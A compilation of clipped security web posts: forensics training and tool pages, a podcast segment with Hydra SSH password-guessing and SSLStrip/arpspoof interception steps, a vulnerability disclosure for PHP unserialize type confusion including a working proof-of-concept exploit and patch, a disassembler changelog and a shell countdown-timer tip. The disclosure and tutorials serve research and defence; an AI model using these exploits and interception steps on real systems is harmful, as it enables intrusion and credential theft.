**MSNBC****: “ _Report: Obama helicopter security breached. Pa company says
blueprints for Marine One found at Iran IP address_ ”**

**Wall Street Journal****: “ _Computer Spies Breach Fighter-Jet Project_ ”**

**Aviation Week****: “ _Attacks on US computer systems stress supply chain
security and reveal shortage of defenders_ ”**

**Wall Street Journal****: “**** _FBI Probes Hack at Citibank_****”**

Our intermediate Computer Crime Investigations course \(Computer Forensics,
Investigations, and Incident Response – FOR508\) has recently been updated to
address the crimes associated with data breach incidents and the advanced
persistent threat. We want to highlight some of the computer forensic training
classes out there that you should look at. As an added bonus, classes tend to
be smaller at these conferences, allowing for even more individual attention.

Most of the upcoming events for all the Digital Forensic Courses and training
that SANS offers can be found at theupcoming events page of the Computer
Forensics Website.

  *[December 23, 2009 – 5:19 pm]: 2009-12-23T17:19:42+0000

# Recent Evolutions in Compiler-Based Security Mechanisms

**Created:**| _1/9/2012 3:08:58 PM_  
---|---  
**Updated:**| _1/9/2012 3:08:58 PM_  
**Author:**| __  
**Tags:**| _compiler-building windows environment_  
  

#### Overview

This presentation covers some of the well-known attacks that have wreaked
havoc in the computing world, how compiler technology has evolved over the
years to help deal with it, and how Microsoft has integrated this technology
into their developer tools and operating systems.

Abstract: "Remote exploit", "elevation of privilege", "security
vulnerability", these are terms that give computer users and administrators
across the world the chills. Unfortunately, writing programs that are free of
any sort of security vulnerability is a tall task, even for the best
developers. Given this, there has been considerable effort in recent years to
use compiler technology to help reduce the occurrence of these
vulnerabilities, in particular the infamous buffer overflow attack.

# The Sleuth Kit: Investigate Volume & File System Data\! — PenTestIT

**Created:**| _5/29/2010 11:28:41 AM_  
---|---  
**Updated:**| _5/29/2010 11:28:41 AM_  
**Author:**| _wishi_  
**Tags:**| _security tools Forensics_  
  

# The Sleuth Kit: Investigate Volume & File System Data\!

May 25, 2010 17:31 pm · 0 comments 48 views

by Black

in Forensics, Open Source

Once in a while, while performing forensics on \*Nix based devices, we always
turn to old and proven applications like the **The Sleuth Kit.** That being
the main reason, a minor reason for us writing about _TSK_ is that a new
version was released two days ago and we liked its updated support for FAT
file systems.

<img src='img/0dd2f77b7e378a9090d9b141478605ba.jpg' width='256' height='256'
alt='The Sleuth Kit' />The Sleuth Kit is a collection of command line digital
investigation tools that is based on the The Coroner’s Toolkit. These tools
run on Linux, OS X, FreeBSD, OpenBSD, and Solaris and can analyze FAT, NTFS,
UFS, EXT2FS, and EXT3FS.  In-short, it can be used to perform investigations
and data extraction from images of Windows, Linux and Unix computers. If you
are not used to the command line nature of these tools, you can use _The
Autopsy Forensic Browser_ , which acts as a graphical frontend for the command
line digital investigation tool.

Some of the tools included in The Sleuth Kit include:

  * **ils** lists all metadata entries, such as an Inode.
  * **blkls** displays data blocks within a file system \(formerly dls\).
  * **fls** lists allocated and unallocated file names within a file system.
  * **fsstat** displays file system statistical information about an image or storage medium.
  * **ffind** searches for file names that point to a specified metadata entry.
  * **mactime** creates a timeline of all files based upon their MAC times.
  * **disk\_stat** \(currently Linux-only\) discovers the existence of a Host Protected Area.

<img src='img/10778_.gif' alt='Click Here' />

TSK does all of what it does in a non-intrusive fashion, there-by making it an
obvious choice of many forensic investigators. It does not rely on the
operating system to process the file systems. That being a reason, deleted and
hidden content is easily gathered. Its functions can be listed as below:

  * Analyzes raw \(i.e. `dd`\), Expert Witness \(i.e. EnCase\) and AFF file system and disk images.
  * Supports the NTFS, FAT, UFS 1, UFS 2, EXT2FS, EXT3FS, and ISO 9660 file systems \(even when the host operating system does not or has a different endian ordering\).
  * Tools can be run on a live UNIX system during Incident Response. These tools will show files that have been “hidden” by rootkits and will not modify the A-Time of files that are viewed. \(Sleuth Kit Informer \#13\)
  * List allocated and deleted ASCII and Unicode file names.
  * Display the details and contents of all NTFS attributes \(including all Alternate Data Streams\).
  * Display file system and meta-data structure details.
  * Create time lines of file activity, which can be imported into a spread sheet to create graphs and reports.
  * Lookup file hashes in a hash database, such as the NIST NSRL, Hash Keeper, and custom databases that have been created with the ‘md5sum’ tool.
  * Organize files based on their type \(for example all executables, jpegs, and documents are separated\). Pages of thumbnails can be made of graphic images for quick analysis.

It has been written in C and Perl. Download The Sleuth Kit version 3.1.2
**here**.

Searches leading to this post:  
Sleuth Kit version 3 1 2, sleuthkit file system statistic

<img src='img/10777_.gif' alt='Click Here' />

## If you enjoyed this article, you might also like:

  * February 4, 2010 -- FSArchiver: The Filesystem Archiver for Linux\!  
If you ever wanted to freeze the state of your Linux server, so that you can
replicate it and have a...

  * December 8, 2009 -- UPDATE: CAINE 1.5\!  
We wrote about CAINE \(the old version ofcourse\!\). Now, Computer Aided
INvestigative Environment is u...

  * February 27, 2009 -- CAINE – Collection of forensics tools for pentesters  
CAINE - Computer Aided Investigative EnvironmentNew in forensics? Want some
help? Try Caine\! \(C...

  * May 27, 2010 -- UPDATE: Watcher 1.4.0\!  
You can find our original post about Watcher here. Now, Casaba Security, the
company responsible for...

  * May 26, 2010 -- UPDATE: Antimeter v2\!  
Our original post about Antimeter can be found here. Now, the author has
released Antimeter v2.0\! Th...

  * May 24, 2010 -- Antimeter: Detect & Kill Metasploit Meterpreter\!  
Antimeter is a very useful tool for internal security administrators who can
scan their systems for ...

  * May 21, 2010 -- MetaGoofil – A Metadata Analyzer & Information Gathering Tool\!  
MetaGooFil is an information gathering tool designed for extracting metadata
of public documents suc...

  * May 19, 2010 -- UPDATE: Metasploit Framework 3.4.0\!  
The Metasploit Framework has been updated to version 3.4.0 after almost four
months now\! Considering...

  * May 10, 2010 -- UPDATE: Xplico 0.5.7\!  
Xplico is the best\! We wrote about it in our previous blog post here. A few
hours ago, Xplico versi...

  *[May 25, 2010 17:31 pm]: 2010-05-25 17:31

# Episode147 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 1:00:19 PM_  
---|---  
**Updated:**| _8/5/2009 1:00:36 PM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools pauldotcom Tutorials_  
  

# Tech Segment: Hydra: Without The Account Lockout

Hydra is a great tool. However, you can very easily overrun a host, or have
Hydra running for very long periods of time. Here's a few little tricks to
quickly check for users who enter easily guessible passwords:

**Step 1** \- Find all SSH hosts using Nmap. In this example, we will be
targeting Linux systems running SSH:

[code]

    nmap -sS -p22 -oG sshhosts -T4 192.168.1.0/24
    
[/code]

**Step 2** \- Extract from the Nmap results the hosts that were listening on
port 22/TCP and save them to a file:

[code]

    grep open sshhosts  | cut -d" " -f2 > targets.in
    
[/code]

**Step 3** \- Create a file with the usernames and passwords:

[code]

    cat > userpass.dat 
    root:password
    root:letmein
    root:changeme
    root:calvin
    root:default
    root:abc123
    admin:admin
    root:toor
    <ctrl-d>
    
    
[/code]

**Step 4** \- Run Hydra using the information above:

[code]

    hydra -t 1 -v -V -C userpass.dat -M targets.in -o success.out -e ns ssh2
    
[/code]

The above command will use the usernames and passwords in "userpass.dat" and
try to login with each of them to every host in "targets.in". It will try the
username as the password and blank password for each username \("-e ns"\). The
"-t 1" will only execute one thread at a time, which is slower, but less
crashes, noise, and account lockout.

## References

  * Password Cracking With THC-Hydra \(We're working on fixing the stylesheet\)

# Video Tech Segment: SSLStrip

SSLStrip is an excellent little utility that allows a tester to hijack SSL
sessions and "strip" off the SSL to the victim. It also allows for the tester
to log all communication \(including userIDs and Password\).

Please, check out the video:

Basic SSLStrip usage from the video:

  
**Step 1** \- Set up IP forwarding.

[code]

    echo "1" > /proc/sys/net/ipv4/ip_forward
    
[/code]

**Step 2** \- Set up your iptables rule for redirecting port 80 traffic to
8080 \(where sslstrip is listening.

[code]

    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    
[/code]

**Step 3** \- Fire up arpspoof.

[code]

    arpspoof -i eth0 -t 172.16.30.132 172.16.30.2
    
[/code]

**Step 4** \- Fire up sslstrip.

[code]

    python ./sslstrip.py -a -l 8080
    
[/code]

**Step 5** \- Watch your logs.

[code]

    tail -f ./sslstrip.log
    
[/code]

## References

  * http://www.thoughtcrime.org/

  * http://www.thoughtcrime.org/software/sslstrip/

  * http://arpspoof.sourceforge.net/

  

# SPL ArrayObject/SPLObjectStorage Unserialization Type Confusion Vulnerabilities | SektionEins GmbH
**Created:**| _8/27/2014 12:21:28 PM_  
---|---  
**Updated:**| _8/27/2014 12:21:28 PM_  
**Author:**| __  
**Tags:**| _Debugging php llvm_  
  

# SPL ArrayObject/SPLObjectStorage Unserialization Type Confusion
Vulnerabilities

* * *
Posted:

2014-08-27 09:23

by

Stefan Esser

| Auf Deutsch lesen | More posts about Blog PHP Vulnerabilities
* * *
## Introduction

<img src='img/Temp2_7180.jpg' alt='/images/unserializeteaser.jpg' />

One month ago the PHP developers released security updates to PHP 5.4 and PHP
5.5 that fixed a number of vulnerabilities. A few of these vulnerabilities
were discovered by us and we already disclosed the lesser serious one in our
previous blogpost titled phpinfo\(\) Type Confusion Infoleak Vulnerability and
SSL Private Keys. We showed that this vulnerability allowed retrieving the SSL
private key from Apache memory. However we kept silent about two more serious
type confusion vulnerabilities that were reachable through PHP's
unserialize\(\) function until the PHP team had the chance to not only fix PHP
5.4 and PHP 5.5 but also release a final PHP 5.3 release, which fixes these
vulnerabilities. Unlike the information leak disclosed before these type
confusions can lead to arbitrary remote code execution.

The PHP function unserialize\(\) allows do deserialize PHP variables that were
previously serialized into a string represantation by means of the
serialize\(\) function. Because of this it has traditionally been used by PHP
application developers to transfer data between PHP applications on different
servers or as compressed format to store some data client side, despite all
warnings that this is potentially dangerous. The dangers arising from this
function are twofold. On the one hand it allows to instantiate classes that
PHP knows about at the time of execution, which can be abused sometimes to
execute arbitrary code as demonstrated in our research Utilizing Code Reuse Or
Return Oriented Programming In PHP Application Exploits presented at BlackHat
USA 2010. On the other hand there is the danger of memory corruptions, type
confusions or use after free vulnerabilities in the unserialize\(\) function
itself. The researchers of SektionEins have shown the existence of both types
of problems again and again in the past.

During source code audits we perform for our customers we still see
unserialize\(\) being used on user input today, despite all the previous
vulnerabilities in unserialize\(\) and various examples of successful
compromises through object injections. Research from other teams has even
shown that often encryption and signing shemes people think up to protect
serialized data, do not work and can be exploited.

In this post we will detail two type confusion vulnerabilities in the
deserialization of SPL ArrayObject and SPL ObjectStorage objects that we
disclosed to PHP.net and show how they allow attackers to execute arbitrary
code on the server. Both vulnerabilities have the CVE name CVE-2014-3515
assigned.

## The Vulnerabilities

The vulnerabilities in question are located in the PHP source code inside the
file /ext/spl/splarray.c inside the SPL\_METHOD\(Array, unserialize\) and
inside the file /ext/spl/spl\_observer.c inside the
SPL\_METHOD\(SplObjectStorage, unserialize\). The vulnerabilities are located
in the handling of serialized object member variables.

[code]

    ALLOC_INIT_ZVAL(pmembers);
    if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC)) {
      zval_ptr_dtor(&pmembers);
      goto outexcept;
    }
    
    /* copy members */
    if (!intern->std.properties) {
      rebuild_object_properties(&intern->std);
    }
    zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers), (copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
    zval_ptr_dtor(&pmembers);
    
[/code]

The code above calls the deserializer to get the member variables from the
serialized string and then copies them into the properties with the
zend\_hash\_copy\(\) function. The type confusion vulnerability here is that
the code assumes that the deserialization returns a PHP array. This is however
not checked and fully depends on the content of the serialized string. The
result is then used via the Z\_ARRVAL\_P macro which leads to various problems
depending on what type of variable is actually returned by the deserializer.

To understand the problem in more detail let us look at the definition of a
_ZVAL_ \(ignoring the GC version\) and the _Z\_ARRVAL\_P_ macro:

[code]

    typedef union _zvalue_value {
       long lval;                                 /* long value */
       double dval;                               /* double value */
       struct {
          char *val;
          int len;
       } str;
       HashTable *ht;                             /* hash table value */
       zend_object_value obj;
    } zvalue_value;
    
    struct _zval_struct {
       /* Variable information */
       zvalue_value value;                /* value */
       zend_uint refcount__gc;
       zend_uchar type;   /* active type */
       zend_uchar is_ref__gc;
    };
    
    #define Z_ARRVAL(zval)        (zval).value.ht
    #define Z_ARRVAL_P(zval_p)    Z_ARRVAL(*zval_p)
    
    
[/code]

As you can see from these definitions accessing the _Z\_ARRVAL_ of a PHP
variable will lookup the pointer to HashTable structure from the union
zvalue\_value. The HashTable structure is PHP's internal way to store array
data. Because this is a union for other variable types this pointer will be
filled with different types of data. A PHP integer variable for example will
have its value stored in the same position as the pointer of the PHP array
variable \(in case _sizeof\(long\) == sizeof\(void \*\)_\). The same is true
for the value of floating point variables and the other variable types.

Let's look into what happens when the deserializer returns an integer \(or
maybe a double value for Win64\): The value of the integer will be used as an
in memory pointer to a HashTable and its data will be copied over into another
array. The following little POC code demonstrates this and will make the
deserializer attempt to work on a HashTable starting at memory address
0x55555555. This should result in a crash, because it is usually an invalid
memory position.

[code]

    <?php
       unserialize("C:11:\"ArrayObject\":28:{x:i:0;a:0:{};m:i:1431655765;});");
    ?>
    
[/code]

In case the memory address does point to a real HashTable structure, its
content is copied over into the deserialized array object as its member
variables. This is useful in case the result of the deserialization is
serialized again and returned to the user, which is a common pattern in
applications exposing unserialize\(\) to user input. The following PHP code is
an example of this pattern.

[code]

    <?php
       $data = unserialize(base64_decode($_COOKIE['data']));
       $data['visits']++;
       setcookie("data", base64_encode($data));
    ?>
    
[/code]

Whenever unserialize\(\) is used in a similar way as above, vulnerabilities
exposed through unserialize\(\) can result in information leaks.

## Digging Deeper

While integer variables allow us to interpret arbitrary memory positions as
HashTable PHP's string variable type might be more interesting for an
attacker. When you look at the ZVAL structure above you will realize that the
array's HashTable pointer is in the same position as a string's stringdata
pointer. This means if the deserializer returns a string instead of an array
the content of the string will be accessed as if it is a HashTable. Let's have
a look into what these HashTables structures are.

[code]

    typedef struct _hashtable {
      uint nTableSize;          /* current size of bucket space (power of 2) */
      uint nTableMask;          /* nTableSize - 1 for faster calculation */
      uint nNumOfElements;      /* current number of elements */
      ulong nNextFreeElement;   /* next free numerical index */
      Bucket *pInternalPointer; /* used for element traversal */
      Bucket *pListHead;        /* head of double linked list of all elements in array */
      Bucket *pListTail;        /* tail of double linked list of all elements in array */
      Bucket **arBuckets;       /* hashtable bucket space */
      dtor_func_t pDestructor;  /* element destructor */
      zend_bool persistent;     /* marks hashtable lifetime as persistent */
      unsigned char nApplyCount;  /* required to stop endless recursions */
      zend_bool bApplyProtection; /* required to stop endless recursions */
    } HashTable;
    
[/code]

PHP's HashTable structure is a mixture of the data structures hashtable and
double linked list. This allows for fast element access but also allows to
traverse the elements of an array in order. The elements of the array are
stored in so called Buckets that either inline the data or provide a pointer
to the actual data associated with a bucket. For every possible hash value the
topmost bucket is addressed through a pointer from the bucket space. The
bucket data structure is as follows:

[code]

    typedef struct bucket {
      ulong h;          /* Used for numeric indexing */
      uint nKeyLength;  /* 0 for numeric indicies, otherwise length of string */
      void *pData;      /* address of the data */
      void *pDataPtr;   /* storage place for data if datasize == sizeof(void *) */
      struct bucket *pListNext;  /* next pointer in global linked list */
      struct bucket *pListLast;  /* prev pointer in global linked list */
      struct bucket *pNext;      /* next pointer in bucket linked list */
      struct bucket *pLast;      /* prev pointer in bucket linked list */
      char arKey[1]; /* Must be last element - recently changed to point to external array key */
    } Bucket;
    
[/code]

With those two data structures it is now possible to layout a fake HashTable
in the string that is passed to unserialize that itself points to a fake array
in memory. Depending on the content of that fake array the destruction of the
just deserialized object at the end of the script will trigger the
attacker\(fake array\) supplied HashTable destructor, which gives the attacker
control over the program counter. The first parameter to this destructor is a
pointer to the pointer to the fake ZVAL supplied by the fake Bucket, which
means a pivot gadget that moves the first function paramter into the stack
pointer would be enough to start a ROP chain.

## Proof of Concept Exploit

The following code was shared with the PHP developers on 20th June 2014. It is
a POC that demonstrates program counter control from a PHP script. The POC was
developed against a standard MacOSX 10.9.3 installation of PHP 5.4.24. It
works by first spraying the heap with a repeated pattern of fake hashtables,
buckets and zvals and then triggers the malicious unserialize\(\). Keep in
mind that a remote attacker could heap spray PHP installations by sending lots
of POST data to the server and then pass a malicious string to a user input
exposed unserialize\(\).

[code]

    <?php
    /* Unserialize ArrayObject Type Confusion Exploit */
    /* (C) Copyright 2014 Stefan Esser */
    
    ini_set("memory_limit", -1);
    
    if ($_SERVER['argc'] < 2) {
      $__PC__ = 0x504850111110;
    } else {
      $__PC__ = $_SERVER['argv'][1] + 0;
    }
    
    // we assume that 0x111000000 is controlled by our heap spray
    $base = 0x114000000 + 0x20;
    
    echo "Setting up memory...\n";
    setup_memory();
    
    echo "Now performing exploit...\n";
    $inner = 'x:i:0;a:0:{};m:s:'.strlen($hashtable).':"'.$hashtable.'";';
    $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
    $z = unserialize($exploit);
    unset($z);
    
    
    
    
    
    function setup_memory()
    {
      global $str, $hashtable, $base, $__PC__;
    
      // we need FAKE HASH TABLE / FAKE BUCKET / FAKE ZVAL
    
      $bucket_addr = $base;
      $zval_delta = 0x100;
      $hashtable_delta = 0x200;
      $zval_addr = $base + $zval_delta;
      $hashtable_addr = $base + $hashtable_delta;
    
      //typedef struct bucket {
      $bucket  = "\x01\x00\x00\x00\x00\x00\x00\x00"; //   ulong h;
      $bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00"; //   uint nKeyLength = 0 => numerical index
      $bucket .= ptr2str($bucket_addr + 3*8);//   void *pData;
      $bucket .= ptr2str($zval_addr); //  void *pDataPtr;
      $bucket .= ptr2str(0);//    struct bucket *pListNext;
      $bucket .= ptr2str(0);//    struct bucket *pListLast;
      $bucket .= ptr2str(0);//    struct bucket *pNext;
      $bucket .= ptr2str(0);//    struct bucket *pLast;
      $bucket .= ptr2str(0);//    const char *arKey;
      //} Bucket;
    
      //typedef struct _hashtable {
      $hashtable  = "\x00\x00\x00\x00";// uint nTableSize;
      $hashtable .= "\x00\x00\x00\x00";// uint nTableMask;
      $hashtable .= "\x01\x00\x00\x00";// uint nNumOfElements;
      $hashtable .= "\x00\x00\x00\x00";
      $hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00";// ulong nNextFreeElement;
      $hashtable .= ptr2str(0);// Bucket *pInternalPointer;       /* Used for element traversal */
      $hashtable .= ptr2str($bucket_addr);//      Bucket *pListHead;
      $hashtable .= ptr2str(0);// Bucket *pListTail;
      $hashtable .= ptr2str(0);// Bucket **arBuckets;
      $hashtable .= ptr2str($__PC__);//   dtor_func_t pDestructor;
      $hashtable .= "\x00";//     zend_bool persistent;
      $hashtable .= "\x00";//     unsigned char nApplyCount;
      //  zend_bool bApplyProtection;
      //} HashTable;
    
      //typedef union _zvalue_value {
      //  long lval;                                      /* long value */
      //  double dval;                            /* double value */
      //  struct {
      //          char *val;
      //          int len;
      //  } str;
      //  HashTable *ht;                          /* hash table value */
      //  zend_object_value obj;
      //} zvalue_value;
    
      //struct _zval_struct {
      /* Variable information */
      $zval = ptr2str($hashtable_addr);// zvalue_value value;             /* value */
      $zval .= ptr2str(0);
      $zval .= "\x00\x00\x00\x00";//      zend_uint refcount__gc;
      $zval .= "\x04";//  zend_uchar type;        /* active type */
      $zval .= "\x00";//  zend_uchar is_ref__gc;
      $zval .= ptr2str(0);
      $zval .= ptr2str(0);
      $zval .= ptr2str(0);
    
      //};
    
      /* Build the string */
      $part = str_repeat("\x73", 4096);
      for ($j=0; $j<strlen($bucket); $j++) {
        $part[$j] = $bucket[$j];
      }
      for ($j=0; $j<strlen($hashtable); $j++) {
        $part[$j+$hashtable_delta] = $hashtable[$j];
      }
      for ($j=0; $j<strlen($zval); $j++) {
        $part[$j+$zval_delta] = $zval[$j];
      }
      $str = str_repeat($part, 1024*1024*256/4096);
    }
    
    function ptr2str($ptr)
    {
      $out = "";
      for ($i=0; $i<8; $i++) {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
      }
      return $out;
    }
    
    ?>
    
[/code]

You can then test the POC on the command line:

[code]

    $ lldb php
    Current executable set to 'php' (x86_64).
    
    (lldb) run exploit.php 0x1122334455
    There is a running process, kill it and restart?: [Y/n] y
    Process 38336 exited with status = 9 (0x00000009)
    Process 38348 launched: '/usr/bin/php' (x86_64)
    Setting up memory...
    Now performing exploit...
    Process 38348 stopped
    * thread #1: tid = 0x636867, 0x0000001122334455, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1122334455)
        frame #0: 0x0000001122334455
    error: memory read failed for 0x1122334400
    (lldb) re re
    General Purpose Registers:
         rax = 0x0000001122334455
         rbx = 0x0000000114000020
         rcx = 0x000000010030fd48  php`_zval_dtor_func + 160
         rdx = 0x0000000100d22050
         rdi = 0x0000000114000038
         rsi = 0x0000000000000000
         rbp = 0x00007fff5fbfe8b0
         rsp = 0x00007fff5fbfe888
          r8 = 0x0000000000000000
          r9 = 0x0000000000000008
         r10 = 0x0000000000000000
         r11 = 0x000000000000005b
         r12 = 0x0000000100956be8  php`executor_globals
         r13 = 0x0000000000000000
         r14 = 0x0000000114000220
         r15 = 0x0000000000000000
         rip = 0x0000001122334455  <----- controlled RIP
      rflags = 0x0000000000010206
          cs = 0x000000000000002b
          fs = 0x0000000000000000
          gs = 0x0000000022330000
    
    (lldb) x/20x $rdi-0x18
    0x114000020: 0x00000001 0x00000000 0x00000000 0x00000000
    0x114000030: 0x14000038 0x00000001 0x14000120 0x00000001 <---- &pDataPtr
    0x114000040: 0x00000000 0x00000000 0x00000000 0x00000000
    0x114000050: 0x00000000 0x00000000 0x00000000 0x00000000
    0x114000060: 0x00000000 0x00000000 0x73737373 0x73737373
    
[/code]

## The Fix

We shared our patches for these vulnerabilities with the PHP developers who
have therefore released PHP 5.5.14, PHP 5.4.30 and PHP 5.3.29. If you are
running any of these versions you do not need to apply the fix. If you are not
you should make sure that you apply the following patchset.

[code]

    --- php-5.5.13/ext/spl/spl_observer.c 2014-05-28 11:06:28.000000000 +0200
    +++ php-5.5.13-unserialize-fixed/ext/spl/spl_observer.c       2014-06-20 17:54:33.000000000 +0200
    @@ -898,7 +898,7 @@
          ++p;
    
          ALLOC_INIT_ZVAL(pmembers);
    -     if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC)) {
    +     if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
                  zval_ptr_dtor(&pmembers);
                  goto outexcept;
          }
    --- php-5.5.13/ext/spl/spl_array.c    2014-05-28 11:06:28.000000000 +0200
    +++ php-5.5.13-unserialize-fixed/ext/spl/spl_array.c  2014-06-20 17:54:09.000000000 +0200
    @@ -1789,7 +1789,7 @@
          ++p;
    
          ALLOC_INIT_ZVAL(pmembers);
    -     if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC)) {
    +     if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
                  zval_ptr_dtor(&pmembers);
                  goto outexcept;
          }
    
[/code]

_Stefan Esser_

# Some information on the development of the...

**Created:**| _7/3/2012 7:49:01 PM_  
---|---  
**Updated:**| _7/3/2012 7:49:01 PM_  
**Author:**| __  
**Tags:**| _reversing Mac-hacking_  
  

# Hopper Disassembler

## The MacOS X Dedicated Disassembler, Decompiler and Debugger

<img src='img/Temp2_7623.png' alt='Hopper Disassembler' />

## About the author

You’ll find here the latest informations about the Hopper development. I’ll
talk about all the feature I plan to add, and the current status of each of
them.  
  
Visit http://www.hopperapp.com  
  

Ask me anything

Search

## Blog Tools

  * Archive
  * RSS

 _1 note_

June 30, 2012

<img src='img/Temp2_7624.png' alt='Some information on the development of the
upcoming 2.5 version. At the moment, there is a long list of features! Today,
I finished handling of ELF (32 and 64 bits) files! As the change log is
becoming longer and longer, I plan to start the beta phase in a few days. I
only have to find a way to let customers choose between the standard or the
beta version&#8230; So, here is the *current* changelog:  - ARM support (only
disassembly, no decompilation or debugging at the moment, I&#8217;m working on
it), - iOS Mach-O support, - ELF support (32 and 64 bits), - embedded ARM and
x86 assembler, that permits modification of instructions, - color themes
(light and dark), and added almost all colors in the preferences, - add an
option to disable fuzzy search, - more C++ demangling, - add some GDB keyboard
shortcuts, - fix a potential deadlock while resizing the window when the
analysis was in progress, - save windows placement, - fix the &#8220;double
return&#8221; issue in decompiler, - some improvements about accessibility
(mainly for blind people), - other small fixes.   Stay tuned!' />

Some information on the development of the upcoming 2.5 version.

At the moment, there is a long list of features\! Today, I finished handling
of ELF \(32 and 64 bits\) files\! As the change log is becoming longer and
longer, I plan to start the beta phase in a few days. I only have to find a
way to let customers choose between the standard or the beta version…

So, here is the \*current\* changelog:

\- ARM support \(only disassembly, no decompilation or debugging at the
moment, I’m working on it\),

\- iOS Mach-O support,

\- ELF support \(32 and 64 bits\),

\- embedded ARM and x86 assembler, that permits modification of instructions,

\- color themes \(light and dark\), and added almost all colors in the
preferences,

\- add an option to disable fuzzy search,

\- more C++ demangling,

\- add some GDB keyboard shortcuts,

\- fix a potential deadlock while resizing the window when the analysis was in
progress,

\- save windows placement,

\- fix the “double return” issue in decompiler,

\- some improvements about accessibility \(mainly for blind people\),

\- other small fixes.

Stay tuned\!

# Command Line Kung Fu: July 2009

**Created:**| _11/24/2009 7:26:22 PM_  
---|---  
**Updated:**| _11/24/2009 7:26:26 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

skip to main | skip to sidebar
# Command Line Kung Fu

This blog will include fun, useful, interesting, security related, non-
security related, tips, and tricks associated with the command line. It will
include OS X, Linux, and even Windows\!

## Tuesday, July 28, 2009

### Episode \#53: The Final Countdown

Ed starts:  
  
My 40th birthday is coming up this Tuesday \(the day that this episode will be
posted\), so I've been thinking about the passage of time a lot lately, with
countdowns, hour glasses, and ticking clocks swirling through my thoughts.
This all came to a head a couple of days ago, when I received an e-mail from a
buddy of mine who runs capture the flag games. He wanted a countdown timer for
his games, something to spice up players' experience in the game. But, instead
of using some lame clock or stopwatch app, he asked me to provide him some
command-line kung fu to do the trick. I came up with a solution that he liked,
and it includes some fun twists and turns that I thought our readers here may
find useful or at least enjoyable.  
  
I relied heavily on FOR loops in the following command:  
  

[code]

    C:\> for /l %m in (1,-1,0) do @for /l %s in (59,-1,0) do @echo %m minutes %s seconds  
     LEFT & ping -n 2 127.0.0.1 > nul  
    1 minutes 59 seconds LEFT  
    1 minutes 58 seconds LEFT  
    1 minutes 57 seconds LEFT  
    1 minutes 56 seconds LEFT  
    1 minutes 55 seconds LEFT
    
[/code]

  
Here, I've made a countdown timer that will run for two minutes \(starting at
minute 1, and counting back 60 seconds from 59 to 0, then going to minute zero
and counting back the same way\). I start off my minute variable \(%m\),
running it from 1 down to 0 in steps of -1. If you want a 10 minute counter,
replace that 1 with a 9. My second variable \(%s\) runs from 59 down to 0,
again in steps of -1. At each iteration through the loop, I print out how much
time is left. Finally, I ping myself twice, which takes about\* a second \(the
first ping happens immediately, the second happens about\* 1 second later\).  
  
That was my starting point. But, I wanted to add some flair, adding a little
audio and popping up a message on the screen at the end of each minute. So, I
added:  
  

[code]

    C:\> (for /l %m in (1,-1,0) do @(for /l %s in (9,-1,0) do @(echo ONLY %m minutes %s seconds  
     LEFT & ping -n 2 127.0.0.1>nul)) & start /max cmd.exe /c "echo ^G %m MINUTE^(s^)  
     LEFT! & ping -n 6 127.0.0.1>nul") & echo ^G^G^G^G^G^G^G^G^G  
    
    
[/code]

  
Here, as each minute expires, I'm using the start command to run a program in
a separate window \(which start does by default... the /b option makes start
run a program in the backgroudn of the same window as we discussed in Episode
\#23 on job control\) maximized on the screen with the /max option. The start
command allows me to kick off something else while my main loop keeps running,
ticking off seconds into the next minute.  
  
The program that the start command will launch is cmd.exe, which I'm asking to
execute a command with the /c flag. The command run by cmd.exe will echo a
CTRL-G, which makes the system beep, and then echoes the number of minutes
left. We then wait for 5 seconds \(by pinging localhost 6 times\). Because I
started the cmd.exe with a /c option, after its command finishes \(5 seconds
later\), the window will disappear. The location of all those parens is
vitally important here, so that we're properly grouping our commands together
to notch off time.  
  
To add even a little more flair, I added several CTRL-Gs after the timer is
done to make the expiration of the full time more audible.  
  
\* OK.... yes, you are right. The countdown timer I've describe here isn't
super accurate, because the 1-second rule on pings is an approximation. Also,
some time will be consumed by the commands gluing this all together, making
this stopwatch slower than it should be. Also, if the system is heavily
loaded, that'll slow things down even more. But, to a first approximation,
we've got a stopwatch here. For more accuracy, you could write a script that
relies on the %time% variable we discussed in Episode \#49.  
  
Time for Hal:  
  
Emulating Ed's loop is straightforward. I'll even add a command at the end to
pop up a window when time runs out:  
  

[code]

    $ for ((m=1; $m >= 0; m--)); do for ((s=59; $s >= 0; s--)); do \  
        echo $m minutes $s seconds to go; sleep 1; done; done; \  
        xterm -e 'echo TIME IS UP!; bash'
    
[/code]

  
Notice that I'm executing bash in the xterm after the echo command. Spawning
an interactive shell here keeps the xterm window from closing as soon as it
echoes "TIME IS UP\!".  
  
But Ed's example got me thinking about ways to have a more accurate clock. One
idea that occurred to me was to just use watch on the date command:  
  

[code]

    $ watch -dt -n 1 date
    
[/code]

  
This will give you a clock that updates every second, with some extra
highlighting to show the positions in the time string updating \(that's the
"-d" option\). But this isn't a count down timer, it's a "count up" timer.  
  
Another idea I had was to use at or cron to pop up the warnings \(see Episode
\#50 for more detail on at and cron\). The only problem is that both at and
cron are limited to 1 minute granularity, so they don't work really well as a
count down timer. But if you know your capture the flag session is supposed to
end at noon, you could always do something like:  
  

[code]

    $ echo xterm -display $DISPLAY -e \'echo TIME IS UP\!\; bash\' | at noon
    
[/code]

  
Notice I had to use a bunch of backwhacks so that the echo command passes a
syntactically correct command into at. More interestingly, I have to
explicitly declare my local $DISPLAY in the xterm command. While at is
normally careful to preserve your environment variable settings, it apparently
intentionally skips $DISPLAY-- probably because there's no guarantee you'll
actually be on that screen when you at job finally executes.

